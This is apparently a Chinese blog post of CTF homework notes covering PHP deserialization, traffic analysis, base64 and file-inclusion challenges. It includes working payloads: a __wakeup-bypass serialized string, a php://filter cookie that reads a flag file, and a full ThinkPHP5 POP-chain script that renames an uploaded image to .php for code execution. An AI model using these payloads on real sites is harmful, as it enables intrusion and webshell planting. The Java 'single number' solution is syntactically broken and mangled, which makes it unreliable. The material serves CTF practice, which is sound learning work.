当前位置: 首页 > news >正文

1.21作业

1

 unserialize3

当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化

外部如果是unserialize()会调用wakeup()方法,输出“bad request”——构造url绕过wakeup

类型:public class,直接构造:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

2

“找出攻击者的IP”

http协议中,

可疑:POST了hacker.php,追踪hacker.php,url解码,确认是开了个后门

3

进入

就是base64解码

4

 只出现一次的数字

class Solution{public int singleNumber(int[t] nums){int result = 0;for (int num : nums)}{result =resut ^num;}return result;}
}

5

fileinclude

PHP: php:// - Manual

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

upload3

注册登录,对头像尝试文件上传,但无法执行

进行目录扫描获取源码,TP5框架

profile.php

cookie有个反序列化,审完代码以后可以i使用(覆盖掉filename)

if:前两个判断不用改就可以绕过,进ext_check()判断

然后赋值ext
接下来把 filename_tmp 移动到 filename时,就可以把 png 移动为 php 文件了。

_get()与_call():作用上传图像访问,被访问不存在时调用 upload_img()

register.php:
registed 赋值为 false,checker 赋值为我们的 $profile

从而调用其中的 index 方法,再跳到 upload_img() 了。

<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

ThinkPHP5.1反序列化漏洞利用-CSDN博客

http://www.lryc.cn/news/541014.html

相关文章:

  • 深度集成DeepSeek大模型:WebSocket流式聊天实现
  • Jmeter连接数据库、逻辑控制器、定时器
  • 『Linux笔记』进程间通信(IPC)详细介绍!
  • Jmeter进阶篇(34)如何解决jmeter.save.saveservice.timestamp_format=ms报错?
  • Visual Studio 2022配置网址参考
  • Redis中集合(Set)常见命令详解
  • 动态规划
  • stm32rtc实时时钟详解文章
  • DeepSeek 助力 Vue 开发:打造丝滑的 键盘快捷键(Keyboard Shortcuts)
  • 【第一节】C++设计模式(创建型模式)-工厂模式
  • 深入理解 SQL 注入漏洞及解决方案
  • 使用 deepseek实现 go语言,读取文本文件的功能,要求支持 ascii,utf-8 等多种格式自适应
  • 7.【线性代数】——求解Ax=0,主列和自由列
  • vue3结合后端传递过来的文件进行预览功能
  • 【Python爬虫(39)】掌控全局:分布式爬虫的任务管理与监控之道
  • Jenkins整合Jmeter实现接口自动化测试
  • Web 自动化测试提速利器:Aqua 的 Web Inspector (检查器)使用详解
  • 大语言模型:从开发到运行的深度解构
  • 【GoLang】【算法模板】2、GoLang 算法模板整理
  • 合理建模--最短路径
  • 喜报!博睿数据案例获经观传媒“2024年度数字转型创新案例”!
  • 基于图扑 HT 可视化技术打造智慧地下采矿可视化方案
  • 深度学习(2)-深度学习关键网络架构
  • 【学习笔记】Cadence电子设计全流程(二)原理图库的创建与设计(8-15)
  • 【Linux网络编程】IP协议格式,解包步骤
  • 给老系统做个安全检查——Burp SqlMap扫描注入漏洞
  • Windows 快速搭建C++开发环境,安装C++、CMake、QT、Visual Studio、Setup Factory
  • 开源免费文档翻译工具 可支持pdf、word、excel、ppt
  • 从CNN到Transformer:遥感影像目标检测的未来趋势
  • 【GORM学习笔记】GORM介绍以及增删改查相关操作